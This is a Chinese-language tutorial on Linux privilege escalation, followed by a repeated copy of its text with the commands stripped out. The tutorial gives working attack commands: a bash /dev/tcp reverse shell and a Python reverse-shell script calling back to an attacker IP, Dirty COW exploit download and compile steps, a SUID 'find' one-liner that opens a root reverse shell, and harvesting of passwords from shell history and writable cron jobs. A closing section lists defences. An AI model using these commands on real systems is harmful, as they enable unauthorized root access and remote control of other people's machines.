提权学习之旅——Linux操作系统提权
字数 1319 2025-08-20 18:17:41

Linux操作系统提权全面指南

一、Linux提权基础知识

1.1 基本信息收集命令

在开始提权前,需要收集系统基本信息:

uname -a  # 查看内核版本
id        # 显示用户ID及所属群组
pwd       # 显示当前路径
dpkg -l   # Debian系查看已安装程序
rpm -qa   # RedHat系查看已安装程序
cat /etc/issue      # 查看发行版信息
cat /etc/*-release  # 查看发行版详细信息

1.2 密码文件分析

Linux系统密码存储在两个关键文件中:

  • /etc/passwd:存储用户信息,所有用户可读

    • 格式:用户名:密码占位符:UID:GID:描述:家目录:登录shell
    • x表示密码hash存储在/etc/shadow
  • /etc/shadow:存储密码hash,仅root可读写

    • 包含加密后的密码hash

注意:管理员可能重复使用密码,Web后台或数据库密码可能是root密码。

二、反弹Shell技术

低权限Shell通常是非交互式的,需要通过反弹Shell获取交互式Shell。

2.1 经典反弹Shell方法

  1. 攻击机监听:
nc -lvp 53
  1. 目标机执行:
bash -i >& /dev/tcp/攻击机IP/53 0>&1

2.2 Python反弹Shell

  1. Python脚本示例(back.py):
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",53))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  1. 执行方法:
chmod 777 back.py  # 确保有执行权限
python back.py 攻击机IP 53

三、内核提权 - 脏牛漏洞(CVE-2016-5195)

3.1 漏洞影响范围

影响Linux kernel >= 2.6.22的所有版本,包括:

  • CentOS7/RHEL7: 3.10.0-327.36.3.el7
  • CentOS6/RHEL6: 2.6.32-642.6.2.el6
  • Ubuntu 16.10: 4.8.0-26.28
  • Ubuntu 16.04: 4.4.0-45.66
  • Ubuntu 14.04: 3.13.0-100.147
  • Debian 8: 3.16.36-1+deb8u2
  • Debian 7: 3.2.82-1

3.2 利用步骤

  1. 下载exp:
wget https://github.com/FireFart/dirtycow/blob/master/dirty.c
  1. 编译执行:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
  1. 使用生成的新root用户登录

四、SUID提权

4.1 查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

4.2 常见SUID提权方法

以find命令为例:

  1. 确认find有SUID权限:
ls -l /usr/bin/find
  1. 利用find执行命令:
/usr/bin/find pass.txt -exec whoami \;
  1. 反弹root shell:
/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",53));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

其他常见可提权的SUID程序:nmap、vim、bash、more、less、nano、cp等。

五、自动化提权工具

5.1 Linux-exploit-suggester

自动检测系统可能存在的漏洞:

./linux-exploit-suggester.sh

5.2 Searchsploit

本地搜索exploit-db中的漏洞:

searchsploit centos 7 kernel 3.10

六、其他提权方法

6.1 历史记录提权

查看用户执行过的命令:

cat ~/.bash_history

可能暴露密码的命令如:

mysql -u root -p密码

6.2 计划任务提权

检查系统计划任务:

ls -l /etc/cron*

查找可写的计划任务脚本进行修改。

6.3 配置错误提权

使用自动化工具检查:

  • unix-privesc-check
  • linuxprivchecker.py

七、提权流程总结

  1. 信息收集:内核版本、安装软件、用户等
  2. 获取交互式Shell:反弹Shell
  3. 检查自动化工具建议
  4. 尝试内核漏洞提权
  5. 检查SUID文件
  6. 检查历史记录和计划任务
  7. 检查密码复用情况
  8. 使用找到的方法提权

八、防御建议

  1. 及时更新系统和内核
  2. 限制SUID/SGID文件
  3. 使用最小权限原则
  4. 避免密码复用
  5. 清理命令历史记录
  6. 定期审计系统配置
  7. 监控异常进程和网络连接

通过以上方法,可以全面了解Linux系统提权的各种技术和防御措施。实际渗透测试中应根据目标系统具体情况选择最合适的提权方法。

Linux操作系统提权全面指南 一、Linux提权基础知识 1.1 基本信息收集命令 在开始提权前,需要收集系统基本信息: 1.2 密码文件分析 Linux系统密码存储在两个关键文件中: /etc/passwd :存储用户信息,所有用户可读 格式: 用户名:密码占位符:UID:GID:描述:家目录:登录shell x 表示密码hash存储在 /etc/shadow 中 /etc/shadow :存储密码hash,仅root可读写 包含加密后的密码hash 注意 :管理员可能重复使用密码,Web后台或数据库密码可能是root密码。 二、反弹Shell技术 低权限Shell通常是非交互式的,需要通过反弹Shell获取交互式Shell。 2.1 经典反弹Shell方法 攻击机监听: 目标机执行: 2.2 Python反弹Shell Python脚本示例(back.py): 执行方法: 三、内核提权 - 脏牛漏洞(CVE-2016-5195) 3.1 漏洞影响范围 影响Linux kernel >= 2.6.22的所有版本,包括: CentOS7/RHEL7: 3.10.0-327.36.3.el7 CentOS6/RHEL6: 2.6.32-642.6.2.el6 Ubuntu 16.10: 4.8.0-26.28 Ubuntu 16.04: 4.4.0-45.66 Ubuntu 14.04: 3.13.0-100.147 Debian 8: 3.16.36-1+deb8u2 Debian 7: 3.2.82-1 3.2 利用步骤 下载exp: 编译执行: 使用生成的新root用户登录 四、SUID提权 4.1 查找SUID文件 4.2 常见SUID提权方法 以find命令为例: 确认find有SUID权限: 利用find执行命令: 反弹root shell: 其他常见可提权的SUID程序:nmap、vim、bash、more、less、nano、cp等。 五、自动化提权工具 5.1 Linux-exploit-suggester 自动检测系统可能存在的漏洞: 5.2 Searchsploit 本地搜索exploit-db中的漏洞: 六、其他提权方法 6.1 历史记录提权 查看用户执行过的命令: 可能暴露密码的命令如: 6.2 计划任务提权 检查系统计划任务: 查找可写的计划任务脚本进行修改。 6.3 配置错误提权 使用自动化工具检查: unix-privesc-check linuxprivchecker.py 七、提权流程总结 信息收集:内核版本、安装软件、用户等 获取交互式Shell:反弹Shell 检查自动化工具建议 尝试内核漏洞提权 检查SUID文件 检查历史记录和计划任务 检查密码复用情况 使用找到的方法提权 八、防御建议 及时更新系统和内核 限制SUID/SGID文件 使用最小权限原则 避免密码复用 清理命令历史记录 定期审计系统配置 监控异常进程和网络连接 通过以上方法,可以全面了解Linux系统提权的各种技术和防御措施。实际渗透测试中应根据目标系统具体情况选择最合适的提权方法。